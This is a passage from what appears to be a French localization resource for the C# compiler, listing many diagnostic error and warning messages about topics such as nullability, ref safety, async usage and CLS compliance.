avec l'attribut ComImport ne peut pas spécifier une classe de base + Comme '{1}' possède l'attribut ComImport, '{0}' doit être extern ou abstract + L'interpolation doit se terminer par le même nombre d'accolades fermantes que le nombre de caractères'$' par lesquels le littéral de la chaîne brute a commencé. + variable fixed + Conflit de noms pour le nom {0} + Une clause catch précédente intercepte déjà toutes les exceptions de this ou d'un super type ('{0}') + Utilisation d'un champ potentiellement non assigné '{0}' + Vous ne pouvez pas spécifier à la fois des corps de bloc et des corps d'expression. + Impossible d'utiliser System.Void dans C# : utilisez typeof(void) pour obtenir l'objet de type void + Le mode de documentation fourni n'est pas pris en charge ou est non valide : '{0}'. + L'opérateur '{0}' est ambigu pour un opérande de type '{1}' + La nullabilité des types référence dans le type de retour ne correspond pas au membre substitué. + Le nom d'élément tuple est ignoré, car un autre nom est spécifié ou aucun nom n'est spécifié par la cible de l'assignation. + L'assembly référencé n'a pas de nom fort + Une méthode partielle ne peut pas implémenter explicitement une méthode d'interface + Le modificateur 'scoped' du paramètre ne correspond pas à la cible. + expression lambda + Impossible d'utiliser '{0}' pour la méthode Main, car il est importé + Le paramètre d'un opérateur unaire doit être le type conteneur + Le champ '{0}' doit être entièrement attribué avant que le contrôle soit retourné à l’appelant. Envisagez de mettre à jour la version de langue «{1}» pour définir automatiquement le champ par défaut. + La meilleure méthode Add surchargée '{0}' pour l'élément initialiseur de collection est obsolète. {1} + La longueur de la constante de chaîne qui résulte de la concaténation dépasse System.Int32.MaxValue. Essayez de diviser la chaîne en plusieurs constantes. + Vous devez spécifier l'attribut CLSCompliant sur l'assembly, non sur le module, pour activer la vérification de la conformité CLS + L'assembly référencé '{0}' n'a pas de nom fort. + espace de noms + L'appel est ambigu entre les méthodes ou propriétés suivantes : '{0}' et '{1}' + L'expression switch ne prend pas en charge certaines entrées ayant une valeur null (elle n'est pas exhaustive). Par exemple, le modèle '{0}' n'est pas couvert. + La constante à virgule flottante sort de la plage du type '{0}' + Le délimiteur de littéral de chaîne brute doit se trouver sur sa propre ligne. + Impossible de lire les informations de débogage de la méthode '{0}' (jeton 0x{1:X8}) dans l'assembly '{2}' + 'UnmanagedCallersOnly' ne peut être appliqué qu’à des méthodes statiques non abstraites ou non virtuelles ordinaires ou à des fonctions locales statiques. + Impossible de créer un pointeur de fonction pour '{0}', car il ne s'agit pas d'une méthode statique + Option '{0}' non valide pour /nullable ; utilisez 'disable', 'enable', 'warnings' ou 'annotations' + Impossible d'émettre des informations de débogage pour un texte source sans encodage. + Le modificateur 'scoped' du paramètre '{0}' ne correspond pas au membre substitué ou implémenté. + Option non valide '{0}' ; la visibilité de la ressource doit être 'public' ou 'private' + Une valeur par défaut est spécifiée pour le paramètre 'ref readonly' '{0}', mais 'ref readonly' doit être utilisé uniquement pour les références. Déclarez le paramètre comme 'in'. + Utiliser un résultat dans ce contexte peut exposer les variables référencées par le paramètre en dehors de la portée de leur déclaration + L'opérateur ne peut pas être utilisé ici en raison de la précédence. + Le membre d'enregistrement '{0}' doit être public. + Ne pas utiliser '{0}'. Ceci est réservé au compilateur. + Désolé... Nous ne pouvons pas restaurer les avertissements, car ils ont été désactivés de façon globale + Le paramètre est capturé dans l'état du type englobant et sa valeur est également utilisée pour initialiser un champ, une propriété ou un événement. + __arglist n'est pas autorisé dans la liste de paramètres des itérateurs + '{0}' n'implémente pas le membre d'interface '{1}'. Les possibilités de valeur null des types référence dans l'interface implémentée par le type de base ne correspondent pas. + Impossible de convertir {0} async en type délégué '{1}'. Un {0} async peut retourner void, Task ou Task<T>, aucun n'étant convertible en '{1}'. + Utiliser la variable '{0}' dans ce contexte peut exposer des variables de référence en dehors de leur étendue de déclaration + Attribut '{0}' en double + Impossible d'incorporer le type '{0}', car il a un membre non abstrait. Affectez la valeur false à la propriété 'Incorporer les types interop'. + Impossible de déduire le type délégué. + Impossible d’utiliser le type de fichier local '{0}', car le chemin d’accès du fichier conteneur ne peut pas être converti en représentation d’octet UTF-8 équivalente. {1} + Une balise de fin était attendue pour l'élément '{0}'. + séparateur numérique de début + Les arguments de type ne sont pas autorisés dans l'opérateur nameof. + Le nom de type ou d'espace de noms '{0}' n'existe pas dans l'espace de noms '{1}' (vous manque-t-il une référence d'assembly ?) + '{0}' : impossible de fournir des arguments lors de la création d'une instance d'un type de variable + Erreur lors de la lecture des ressources Win32 -- {0} + Nom de type '{0}' introuvable dans l'espace de noms global. Ce type a été transmis à l'assembly '{1}'. Ajoutez une référence à cet assembly. + Impossible de retourner une expression de type 'void' + Un paramètre ref ou out ne peut pas avoir de valeur par défaut + Le nom de type '{0}' est introuvable. Ce type a été transmis à l'assembly '{1}'. Ajoutez une référence à cet assembly. + Les itérateurs ne peuvent pas avoir de variables locales par référence + Les deux déclarations de méthodes partielles doivent avoir des combinaisons identiques des modificateurs 'virtual', 'override', 'sealed' et 'new'. + Impossible de spécifier une valeur par défaut pour le paramètre 'this' + L'expression donnée n'est jamais du type fourni ('{0}') + Le commentaire XML a une balise typeparam, alors qu'il n'existe aucun paramètre de type de ce nom + Soit les deux déclarations de méthode partielles sont unsafe, soit aucune ne l'est + assignation de fusion + Un type de base est marqué comme n'ayant pas besoin d'être conforme CLS dans un assembly marqué comme devant être conforme CLS. Veuillez supprimer l'attribut indiquant que l'assembly est conforme CLS ou supprimer l'attribut indiquant que le type n'est pas conforme CLS. + L'expression donnée correspond toujours à la constante fournie. + Une méthode avec vararg ne peut pas être générique, se trouver dans un type générique ou avoir un paramètre params + Avec 'await', le type '{0}' doit avoir une méthode 'GetAwaiter' appropriée. Est-ce qu'il vous manque une directive using pour 'System' ? + ; ou = attendu (impossible de spécifier des arguments de constructeur dans une déclaration) + Utiliser un membre du résultat dans ce contexte peut exposer les variables référencées par le paramètre en dehors de la portée de leur déclaration + L'appel de l'indexeur de plage implicite ne peut pas nommer l'argument. + avec sur structs + Impossible d'utiliser l'argument pour le paramètre, car il existe des différences dans l'acceptation des valeurs null par les types référence. + Le type de retour de l'opérateur True ou False doit être bool + Ce constructeur doit ajouter « SetsRequiredMembers », car il est lié à un constructeur qui possède cet attribut. + La contrainte ne peut pas être la classe spéciale '{0}' + '{0}' : le runtime cible ne prend pas en charge les types de retour covariants dans les substitutions. Le type de retour doit être '{2}' pour correspondre au membre substitué '{1}' + Le modificateur 'scoped' du paramètre '{0}' ne correspond pas au membre substitué ou implémenté. + Le type '{0}' transmis à l'assembly '{1}' est en conflit avec le type '{2}' transmis à l'assembly '{3}'. + L’argument doit être une variable, car il est passé à un paramètre 'ref readonly' + Les valeurs par défaut ne sont pas valides dans ce contexte. + Un champ ref ne peut pas faire référence à un struct ref. + Le type local de fichier '{0}' ne peut pas être utilisé comme type de base de type non local de fichier '{1}'. + Le délégué '{0}' n'a pas de paramètre nommé '{1}' + Impossible d'associer la convention d'appel 'managed' à des spécificateurs de convention d'appel non managés. + La comparaison des pointeurs de fonction peut donner un résultat inattendu, car les pointeurs vers la même fonction peuvent être distincts. + '{0}' n'est pas conforme CLS, car l'interface de base '{1}' n'est pas conforme CLS + L'interface source '{0}' n'a pas de méthode '{1}', qui est requise pour incorporer l'événement '{2}'. + Le paramètre de constructeur d'attribut '{0}' est facultatif, mais aucune valeur de paramètre par défaut n'a été spécifiée. + Une arborescence d'expression lambda ne peut pas contenir un opérateur de propagation null. + Alias '{0}' introuvable + Initialisation du membre '{0}' en double + La propriété de contrat d'égalité d'enregistrement '{0}' doit avoir un accesseur get. + Option '{0}' non valide pour /debug ; les options valides sont 'portable', 'embedded', 'full' ou 'pdbonly' + Vous ne pouvez prendre l'adresse d'une expression non fixed qu'à l'intérieur d'un initialiseur d'instruction fixed + Pour utiliser '@$' à la place de '$@' pour une chaîne verbatim interpolée, utilisez la version de langage '{0}' ou une version ultérieure. + '{0}' : une classe avec l'attribut ComImport ne peut pas spécifier d'initialiseurs de champ. + La méthode partielle '{0}' doit avoir des modificateurs d'accessibilité, car elle a des paramètres 'out'. + '{0}' : impossible de déclarer des indexeurs dans une classe static + CallerArgumentExpressionAttribute n'aura pas d'effet, car il s'applique à un membre utilisé dans des contextes qui n'autorisent pas d'arguments facultatifs + '{0}' est déjà énuméré dans la liste des interfaces + modèle de constante de pointeur null + '{0}' : une propriété ou un indexeur doit avoir au moins un accesseur + Les variables implicitement typées ne peuvent pas être constant + Une variable a été déclarée avec le même nom qu'une variable dans le type de base. Cependant, le mot clé new n'a pas été utilisé. Cet avertissement vous informe que vous devez utiliser new ; la variable est déclarée comme si new avait été utilisé dans la déclaration. + Accessibilité incohérente : le type de retour '{1}' est moins accessible que la méthode '{0}' + Les champs d'instance de structs en lecture seule doivent être en lecture seule. + Impossible d'effectuer une assignation par référence de '{1}' vers '{0}', car '{1}' a une portée de sortie plus limitée que '{0}'. + Impossible d’appliquer l’opérateur '{0}' aux opérandes de type '{1}' et '{2}' qui ne sont pas des représentations d’octets UTF-8 + Utilisez Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal pour créer des jetons de littéral de caractère. + Une arborescence de l'expression ne peut pas contenir de modèle d'accès à l'indexeur System.Index ou System.Range + L'utilisation de tableaux en tant qu'arguments d'attributs n'est pas conforme CLS + Utilisation d'un paramètre out non assigné + L'omission de l'argument de type n'est pas autorisée dans le contexte actuel + La valeur d'alignement {0} a une magnitude supérieure à {1} et peut générer une chaîne formatée volumineuse. + Une fonction locale statique ne peut pas contenir de référence à 'this' ou 'base'. + Paramètre non lu. + Une arborescence d’expression ne peut pas contenir de conversion de chaîne UTF-8 ni de littéral. + déclaration de variable de sortie + Un paramètre ref readonly ne peut pas avoir l’attribut Out. + La comparaison à la constante intégrale est inutile, car la constante est en dehors de la plage du type '{0}' + 'expérimental' + Impossible d'utiliser le type '{0}' de l'assembly '{1}' au-delà des limites de l'assembly, car il a un argument de type générique qui est un type interop incorporé. + Dépassement possible de la valeur de constante au moment de l'exécution (utilisez la syntaxe 'unchecked' pour la remplacer) + paramètres optionnels d’expression lambda + constructeurs de struct sans paramètre + Le paramètre d’un opérateur unaire doit être le type conteneur ou son paramètre de type lui être contraint. + La fonction locale '{0}' est déclarée, mais jamais utilisée + L'opérateur as doit être utilisé avec un type référence ou un type nullable ('{0}' est un type valeur non-nullable) + La {0} abstraite '{1}' ne peut pas être marquée comme étant virtual + '{0}' : les classes static ne peuvent pas contenir d'opérateurs définis par l'utilisateur + L'étiquette '{0}' cache une autre étiquette qui porte le même nom dans une portée contenue + Le membre '{1}' se substitue à '{0}'. Il existe plusieurs candidats à la substitution au moment de l'exécution. La méthode appelée dépend de l'implémentation. Utilisez un runtime plus récent. + Les méthodes anonymes, les expressions lambda, les expressions de requête et les fonctions locales dans un membre d’instance d’un struct ne peuvent pas accéder au paramètre du constructeur principal + Accesseur get ou set attendu + N'utilisez pas 'System.ParamArrayAttribute'. Utilisez plutôt le mot clé 'params'. + Nouveau membre protégé déclaré dans le type sealed + Le type transmis '{0}' est en conflit avec le type déclaré dans le module principal de cet assembly. + Les numéros de mise en production et/ou de version des deux assemblys diffèrent. Pour procéder à l'unification, veuillez spécifier les directives adéquates dans le fichier .config de l'application et fournir le nom fort correct d'un assembly. + Le constructeur '{0}' ne peut pas s'appeler lui-même via un autre constructeur + Le fichier référencé '{0}' n'est pas un assembly + L'opérateur binaire surchargé '{0}' prend deux paramètres + Modèle or + La fonction locale '{0}' doit être 'static' pour pouvoir utiliser l'attribut Conditional + L'attribut Conditional n'est pas valide sur '{0}', car il s'agit d'une méthode override + L'adresse de la variable locale '{0}' ou de ses membres ne peut pas être prise et utilisée dans une méthode anonyme ou une expression lambda + SearchCriteria est attendu. + Les interfaces ne peuvent pas contenir de constructeur d'instance + Comme '{0}' retourne void, un mot clé return ne doit pas être suivi d'une expression d'objet + L’opérateur défini par l’utilisateur ne peut pas convertir un type en lui-même + Impossible de continuer, car la modification inclut une référence à un type incorporé : '{0}'. + Dans la mesure où cet appel n'est pas attendu, l'exécution de la méthode actuelle continue avant la fin de l'appel. Envisagez d'appliquer l'opérateur 'await' au résultat de l'appel. + Appelez System.IDisposable.Dispose() au niveau de l'instance allouée de {0} avant que toutes les références s'y rapportant soient hors de portée. + L'instance allouée de {0} n'a pas été supprimée dans tous les chemins d'accès d'exception. Appelez System.IDisposable.Dispose() avant que toutes les références s'y rapportant soient hors de portée. + Le nœud de syntaxe à extrapoler ne peut pas appartenir à une arborescence de syntaxe de la compilation actuelle. + L'attribut de sécurité '{0}' a une valeur SecurityAction '{1}' non valide + Un paramètre de constructeur primaire d’un type en lecture seule ne peut pas être assigné (sauf dans le setter init-only du type ou dans un initialisateur de variable). + Une fonction locale statique ne peut pas contenir de référence à '{0}'. + Pour effectuer un cast d'une valeur négative, vous devez la mettre entre parenthèses. + Le nom local '{0}' est trop long pour PDB. Raccourcissez-le ou compilez sans /debug. + Définition de membre, instruction ou fin de fichier attendu + Le modificateur de genre de référence du paramètre '{0}' ne correspond pas au paramètre correspondant '{1}' dans le membre substitué ou implémenté. + Une variable de déconstruction ne peut pas être déclaré en tant que variable locale + Dans la mesure où cet appel n'est pas attendu, l'exécution de la méthode actuelle continue avant la fin de l'appel + Une clause using doit précéder tous les autres éléments définis dans l'espace de noms sauf les déclarations d'alias extern + L’argument {0} doit être une variable, car il est passé à un paramètre 'ref readonly' + L'opérateur 'await' ne peut être utilisé que dans une méthode async. Marquez cette méthode avec le modificateur 'async' et changez son type de retour en 'Task'<{0}>'. + Le membre statique '{0}' ne peut pas être marqué 'readonly'. + Une mémoire tampon fixe ne peut avoir qu'une seule dimension. + UnscopedRefAttribute ne peut pas être appliqué aux paramètres qui ont un modificateur 'scoped'. + Conversion unboxing d'une valeur peut-être null. + Le résultat de l'expression est toujours '{0}', car une valeur de type '{1}' n'est jamais égale à 'null' du type '{2}' + variable + La nullabilité des types référence dans la valeur de type '{0}' ne correspond pas au type cible '{1}'. + Impossible d'utiliser l'alias '{0}' avec '::', car l'alias référence un type. Utilisez plutôt '.'. + Marqueur de conflit de fusion rencontré + La référence d'assembly Friend '{0}' n'est pas valide. Les déclarations InternalsVisibleTo ne peuvent pas avoir une version, une culture, un jeton de clé publique ou une architecture de processeur spécifié. + Ne peut pas retourner un paramètre par référence '{0}' par le biais d’un paramètre ref ; il ne peut être retourné que dans une instruction return + Le programme qui utilise des instructions de niveau supérieur doit être un exécutable. + Retourne un membre de la variable locale par référence, mais il ne s'agit pas d'une variable locale de référence + Littéral de caractère vide + Les contraintes 'class', 'struct', 'unmanaged', 'notnull' et 'default' ne peuvent pas être combinées ou dupliquées. De plus, elles doivent être spécifiées en premier dans la liste des contraintes. + '{0}' ne peut pas être ajouté à cet assembly, car il s'agit déjà d'un assembly + Il n'existe aucun meilleur type pour l'expression switch. + La signature publique n'est pas prise en charge pour les netmodules. + '{0}' est déjà listé dans la liste d'interfaces du type '{2}' en tant que '{1}'. + Le côté gauche d’une affectation ref doit être une variable ref. + Ni le champ, ni la propriété ne peuvent être de type '{0}' + Les noms d'élément tuple ne sont pas autorisés à gauche d'une déconstruction. + Une arborescence d'expression lambda ne peut pas contenir un groupe de méthodes + 'enable', 'disable' ou 'restore' attendu + Il n'est pas correct d'utiliser le type de référence Nullable '{0}?' dans une expression as. Utilisez le type sous-jacent '{0}' à la place. + Impossible de lier le délégué à '{0}' car il s'agit d'un membre de 'System.Nullable<T>' + méthode + Les déclarations partielles de '{0}' doivent avoir les mêmes noms de paramètre de type dans le même ordre + __arglist ne peut pas avoir un argument passé par 'in' ou 'out' + Impossible d'utiliser le(s) caractère(s) '{0}' à cet emplacement. + L'opérateur 'await' ne peut être utilisé que dans un {0} asynchrone. Marquez ce {0} avec le modificateur 'async'. + Le premier paramètre d'une méthode d'extension 'ref' '{0}' doit être un type valeur ou un type générique limité à struct. + Incompatibilité de référence entre '{0}' et le pointeur de fonction '{1}' + Impossible d'utiliser '{0}' comme modificateur de convention d'appel. + Le chaînage d'un modèle sémantique spéculatif n'est pas pris en charge. Vous devez créer un modèle spéculatif à partir du ParentModel non spéculatif. + Plusieurs points d'entrée sont définis dans le programme. Compilez avec l'option /main pour spécifier le type qui contient le point d'entrée. + méthodes partielles étendues + La fonctionnalité '{0}' n'est pas disponible en C# 8.0. Utilisez la version de langage {1} ou une version ultérieure. + La fonctionnalité '{0}' n'est pas disponible en C# 7.2. Utilisez la version de langage {1} ou une version ultérieure. + La fonctionnalité '{0}' n'est pas disponible en C# 7.3. Utilisez la version de langage {1} ou une version ultérieure. + La fonctionnalité '{0}' n'est pas disponible dans C# 7.1. Utilisez la version de langage {1} ou une version ultérieure. + Utiliser la variable dans ce contexte peut exposer des variables de référence en dehors de leur étendue de déclaration + Chaîne interpolée attendue + Impossible d'inclure le fragment XML '{1}' du fichier '{0}' -- {2} + L’opérateur de conversion de tableau inline ne sera pas utilisé pour la conversion à partir de l’expression du type déclarant. + Le type '{0}' exporté à partir du module '{1}' est en conflit avec le type '{2}' exporté à partir du module '{3}'. + Une constante « null » de chaîne n’est pas prise en charge en tant que modèle pour «{0}». Utilisez plutôt une chaîne vide. + Un point d'entrée ne peut pas être générique ou d'un type générique + '{0}' n'a pas de méthode 'Main' statique appropriée + Le contrôle est retourné à l’appelant avant que le champ '{0}' ne soit explicitement attribué, ce qui provoque une attribution implicite précédente de 'default'. + Un modèle de déconstruction d'un seul élément nécessite une autre syntaxe pour la désambiguïsation. Il est recommandé d'ajouter un désignateur d'abandon '_' après la parenthèse de fermeture ')'. + Le nom qualifié complet de '{0}' est trop long pour les informations de débogage. Compilez sans l'option '/debug'. + Les champs d’un struct doivent être entièrement assignés dans un constructeur avant que le contrôle soit retourné à l’appelant. Envisagez de mettre à jour la version du langage pour qu’elle corresponde à la valeur par défaut automatique du champ. + Les paramètres facultatifs doivent apparaître après tous les paramètres requis + L'avertissement remplace une erreur + Cette étiquette n'est pas référencée + La variable '{0}' est déclarée, mais jamais utilisée + L'utilisation du {1} générique '{0}' nécessite des arguments de type {2} + La méthode UnmanagedCallersOnly '{0}' ne peut pas implémenter le membre d'interface '{1}' dans le type '{2}' + directive #endif attendue + Un goto ne peut pas accéder à un emplacement après une déclaration using. + La méthode actuelle appelle une méthode async qui retourne Task ou Task<TResult>. Par ailleurs, elle n'applique pas l'opérateur await au résultat. L'appel de la méthode async démarre une tâche asynchrone. Cependant, comme aucun opérateur await n'est appliqué, le programme continue sans attendre la fin de la tâche. Généralement, ce comportement n'est pas celui que vous attendez. La plupart du temps, les autres aspects de la méthode d'appel dépendent du résultat de l'appel ou, au minimum, la méthode appelée doit s'achever avant le retour de la méthode contenant l'appel. + +Un problème de même importance est ce qui arrive aux exceptions levées dans la méthode async appelée. Une exception levée dans une méthode qui retourne Task ou Task<TResult> est stockée dans la tâche retournée. Si vous n'attendez pas la tâche ou la vérification explicite d'exceptions, l'exception est perdue. Si vous attendez la tâche, son exception est à nouveau levée. + +Nous vous recommandons de toujours attendre l'appel. + +Supprimez l'avertissement seulement si vous êtes sûr de ne pas vouloir attendre la fin de l'appel asynchrone, et que la méthode appelée ne lèvera aucune exception. Dans ce cas, vous pouvez supprimer l'avertissement en affectant le résultat de la tâche de l'appel à une variable. + expression de requête + Le membre d'enregistrement '{0}' doit être protégé. + Valeur non valide pour l'argument de l'attribut '{0}' + Un assembly agnostique ne peut pas avoir un module '{0}' propre au processeur. + Un spécificateur de format ne doit contenir aucun espace blanc de fin. + Impossible d’appliquer UnscopedRefAttribute à ce paramètre, car il n’a pas d’étendue par défaut. + Le type '{0}' ne doit pas être utilisé en tant que type cible de new() + Les arguments de l'attribut InterpolatedStringHandlerArgumentAttribute ne peuvent pas faire référence au paramètre sur lequel l'attribut est utilisé. + La variable est assignée mais sa valeur n'est jamais utilisée + Un accesseur add ou remove doit avoir un corps + 'L'implémentation de la méthode explicite '{0}' ne peut pas implémenter '{1}', car il s'agit d'un accesseur + Un membre implémente un membre d'interface avec plusieurs correspondances au moment de l'exécution + Le commentaire XML a une balise param en double pour '{0}' + Le nom d'énumérateur '{0}' est réservé et ne peut pas être utilisé + Une arborescence d'expression lambda ne peut pas contenir un initialiseur de dictionnaire. + Le littéral de chaîne brute interpolée ne commence pas par suffisamment de caractères '$' pour autoriser autant d’accolades fermante consécutives comme contenu. + La méthode 'Slice' du tableau inline ne sera pas utilisée pour l’expression d’accès à l’élément. + Le membre '{0}' ne masque pas de membre accessible. Le mot clé new n'est pas nécessaire. + Les spécifications d'argument nommé doivent s'afficher après la spécification de tous les arguments fixes dans un appel dynamique. + '{0}' : les types static ne peuvent pas être utilisés comme paramètres + Un numéro transmis à la directive de préprocesseur d'avertissement #pragma n'est pas correct. Veuillez vérifier que ce numéro représente un avertissement et non une erreur. + attendre dans des blocs catch et des blocs finally + La nullabilité des types référence dans le type de retour ne correspond pas au délégué cible (probablement en raison des attributs de nullabilité). + '{0}' : un point d'entrée ne peut pas être générique ou d'un type générique + '{0}' n'implémente pas le membre d'interface '{1}' + '{0}' ne contient pas de définition pour '{1}' et la meilleure surcharge de méthode d'extension '{2}' nécessite un récepteur de type '{3}' + #r n'est autorisé que dans les scripts + Impossible de passer un argument ayant un type dynamique à une fonction locale générique '{0}' avec des arguments de type déduits. + La position finale de la directive #line doit être supérieure ou égale à la position initiale. + Arborescence de syntaxe déjà présente + Le paramètre du constructeur principal est ombré par un membre de la base + La propriété implémentée automatiquement '{0}' doit être entièrement affectée avant que le contrôle soit retourné à l’appelant. Envisagez de mettre à jour la version de langue «{1}» pour définir automatiquement la propriété par défaut. + Utilisation d’un champ éventuellement non attribué. Envisagez de mettre à jour la version du langage pour qu’elle soit automatiquement mise à jour par défaut du champ. + Déréférencement d'une éventuelle référence null. + Nom de sortie non valide : {0} + Une classe avec l'attribut ComImport ne peut pas avoir un constructeur défini par l'utilisateur + Le nom de la méthode CollectionBuilderAttribute n’est pas valide. + L'expression de retour doit être de type '{0}', car cette méthode effectue un retour par référence + Membres d’un paramètre de constructeur primaire '{0}' d’un type en lecture seule ne peut pas être utilisé comme valeur ref ou out (sauf dans le setter init-only du type ou dans un initialisateur de variable). + Les propriétés implémentées automatiquement doivent avoir des accesseurs get. + L'identificateur '{0}' n'est pas conforme CLS + Le type de retour pour l’opérateur + + ou--doit correspondre au type de paramètre ou être dérivé du type de paramètre ou être le paramètre de type du type conteneur qui lui est contraint, sauf si le paramètre est de type différent. + L’opérateur de conversion de tableau inline ne sera pas utilisé pour la conversion à partir de l’expression du type déclarant. + Erreur lors de la lecture des informations de débogage pour '{0}' + Une arborescence de l'expression ne peut pas contenir de valeur de struct par référence ou de type restreint '{0}'. + Les classes static ne peuvent pas contenir de destructeurs + Le paramètre « {0} » est un argument de la conversion du gestionnaire de chaîne interpolé sur le paramètre « {1} », mais l’argument correspondant est spécifié après l’expression de chaîne interpolée. Réorganisez les arguments pour déplacer « {0} » avant « {1} ». + L'expression donnée est toujours du type fourni ('{0}') + Les références du fichier source ne sont pas prises en charge. + Le modificateur de genre de référence du paramètre ne correspond pas au paramètre correspondant dans le membre masqué. + '{0}' : les types static ne peuvent pas être utilisés en tant que types de retour + Il n'existe pas de classement défini entre les champs dans plusieurs déclarations de la structure partielle '{0}'. Pour spécifier un classement, tous les champs d'instance doivent se trouver dans la même déclaration. + Accessibilité incohérente : le type de retour d'indexeur '{1}' est moins accessible que l'indexeur '{0}' + Le champ conforme CLS ne peut pas être volatile + Les nouvelles lignes à l'intérieur d'une chaîne interpolée non textuelle ne sont pas prises en charge en C# {0}. Veuillez utiliser la version linguistique {1} ou supérieure. + Accessibilité incohérente : le type de paramètre '{1}' est moins accessible que la méthode '{0}' + l'arborescence doit avoir un nœud racine avec SyntaxKind.CompilationUnit + Seuls une assignation, un appel, un incrément, un décrément et des expressions d'objet await et new peuvent être utilisés comme instruction + CallerFilePathAttribute, qui est appliqué au paramètre '{0}', n'aura aucun effet, car il s'applique à un membre utilisé dans des contextes qui n'autorisent pas les arguments facultatifs + params n'est pas valide dans ce contexte + Une arborescence d'expression lambda ne doit pas contenir de paramètre ref, in ou out + Le type local de fichier '{0}' ne peut pas être utilisé dans une directive 'global using static'. + Impossible d'initialiser le type '{0}' avec un initialiseur de collection, car il n'implémente pas 'System.Collections.IEnumerable' + Les critères spéciaux ne sont pas autorisés pour les types de pointeur. + Une expression de type '{0}' correspond toujours au modèle fourni. + La fonctionnalité '{0}' est actuellement en préversion et *n'est pas prise en charge*. Pour utiliser les fonctionnalités en préversion, utilisez la version de langage 'preview'. + Le premier opérande d’un opérateur shift surchargé doit avoir le même type que le type conteneur + initialiseur auto-property + Erreur lors de la lecture de la ressource '{0}' -- '{1}' + Directive de préprocesseur attendue + Le premier opérande d’un opérateur shift surchargé doit avoir le même type que le type conteneur ou son paramètre de type lui est limité + 'await' ne peut pas être utilisé dans une expression contenant le type '{0}' + Impossible de spécifier des modificateurs d'accessibilité pour les accesseurs de la propriété ou de l'indexeur '{0}' + Les déclarations de méthode partielles ont des différences de signature. + La méthode d'initialiseur de module '{0}' ne doit pas être générique et ne doit pas être contenue dans un type générique + Les noms d'éléments d'un tuple doivent être uniques. + Le nom de ce langage n'est pas correct + '{0}' : impossible d'appeler explicitement un opérateur ou un accesseur + '{0}' ne peut pas être externe et avoir un initialiseur de constructeur + Le type valeur Nullable peut avoir une valeur null. + Les propriétés implémentées automatiquement ne peuvent pas effectuer de retour par référence + Les littéraux de chaîne brute multiligne sont uniquement autorisés dans les chaînes interpolées textuellement. + L'espace blanc obligatoire est manquant. + Référence à netmodule '{0}' manquante. + Utilisation d’un '{0}' de champ éventuellement non attribué. Envisagez de mettre à jour vers la version de langage '{1}' pour utiliser la valeur par défaut automatique du champ. + '{0}' définit 'Equals' mais pas 'GetHashCode' + L'opération a provoqué un dépassement de capacité de la pile. + variable d'itération foreach + '{0}' : substitution impossible ; '{1}' n'est pas un événement + '{0}' est un doublon de TypeForwardedToAttribute + Les mémoires tampons de taille fixe doivent avoir une longueur supérieure à zéro + 'await' ne peut pas être utilisé comme identificateur dans une méthode async ou une expression lambda + Impossible de convertir la valeur de constante '{0}' en '{1}' (utilisez la syntaxe 'unchecked) + L'identificateur n'est pas conforme CLS + initialiseur de dictionnaire + Erreur interne dans le compilateur C#. + CallerArgumentExpressionAttribute, qui est appliqué au paramètre '{0}', n'aura aucun effet. Il est remplacé par CallerLineNumberAttribute. + Retourne un paramètre par référence, mais il est étendu à la méthode actuelle + Le paramètre '{0}' doit avoir une valeur non null au moment de la sortie, car le paramètre '{1}' a une valeur non null. + chaînes interpolées + Les chemins du code ne retournent pas tous une valeur dans {0} de type '{1}' + Possibilité d'une comparaison de références involontaire ; la partie gauche a besoin d'un cast + Aucun constructeur de copie accessible n'a été trouvé dans le type de base '{0}'. + Le membre '{0}' positionnel trouvé correspondant à ce paramètre est masqué. + Impossible de résoudre le chemin d'accès au fichier '{0}' spécifié pour l'argument nommé '{1}' de l'attribut PermissionSet + Nombre non valide + L'assembly référencé '{0}' a un paramètre de culture différent : '{1}'. + La référence de l'attribut cref est ambiguë + Le premier paramètre d'une méthode d'extension ne peut pas être de type '{0}' + références en lecture seule + '{0}' est un {1}, qui n'est pas valide dans le contexte donné + La méthode surchargée '{0}', qui se différencie uniquement au niveau de ref ou out ou du rang de tableau, n'est pas conforme CLS + Type de paramètre non valide 'void' + Les contraintes ne sont pas autorisées sur des déclarations non génériques + Le commentaire XML comporte une erreur de syntaxe au niveau de l'attribut cref + méthodes anonymes + L'annotation pour les types référence Nullable doit être utilisée uniquement dans le code au sein d'un contexte d'annotations '#nullable'. + Une arborescence de l'expression ne peut pas contenir d'expression throw. + Impossible de convertir le type '{0}' en '{1}' + L'expression de filtre est une constante 'false' ; supprimez le bloc try-catch + Impossible de spécifier plusieurs fois l'argument nommé '{0}' + Le spécificateur de type tableau, [], doit apparaître avant le nom de paramètre + Impossible de convertir null en '{0}' parce qu'il s'agit d'un type valeur non-nullable + Référence de l’analyseur '{0}' spécifiée plusieurs fois + Le modificateur 'partial' peut apparaître uniquement juste avant 'class', 'record', 'struct', 'interface' ou un type de retour de méthode. + La méthode « {0} » doit être non générique pour correspondre à « {1} ». + Le type n'implémente pas le modèle de collection ; le membre n'est pas une méthode d'extension ou d'instance publique. + Le type de l'argument de l'attribut DefaultParameterValue doit correspondre au type de paramètre + Il n'existe aucun type cible pour '{0}' + Option d'alias de référence non valide : '{0}=' -- nom de fichier manquant + Le type '{0}' ne doit pas être utilisé pour un champ d'enregistrement. + Le champ ou la propriété implémentée automatiquement ne peut pas être de type '{0}', sauf s'il s'agit d'un membre d'instance d'un struct par référence. + Variance non valide : le paramètre de type '{1}' doit être {3} valide sur '{0}' sauf si la version de langage '{4}' ou une version supérieure est utilisée. '{1}' est {2}. + La directive using est apparue précédemment comme using global + CallerArgumentExpressionAttribute, appliqué au paramètre '{0}', n'aura aucun effet, car il s'applique à un membre utilisé dans des contextes qui n'autorisent pas les arguments facultatifs + L'argument nommé '{0}' est utilisé hors-position mais est suivi d'un argument sans nom + Impossible de retourner les membres du champ readonly '{0}' par référence accessible en écriture + Impossible d'utiliser une expression de type '{0}' comme argument pour une opération dispatchée dynamiquement. + Les expressions de requête sur le type de source 'dynamic' ou avec une séquence de jointure de type 'dynamic' ne sont pas autorisées + L'option '{0}' se substitue à l'attribut '{1}' spécifié dans un fichier source ou un module ajouté + '{0}' : les noms de membres doivent être différents de leur type englobant + '{0}' : le type utilisé dans une instruction using asynchrone doit être implicitement convertible en 'System.IAsyncDisposable' ou doit implémenter une méthode 'DisposeAsync' appropriée. Est-ce qu'il ne s'agit pas plutôt de 'using' au lieu de 'await using' ? + Le paramètre '{0}' apparaît après '{1}' dans la liste des paramètres, mais est utilisé comme argument pour les conversions de gestionnaires de chaînes interpolées. Cela nécessitera que l'appelant réorganise les paramètres avec des arguments nommés sur le site d'appel. Envisagez de placer le paramètre de gestionnaire 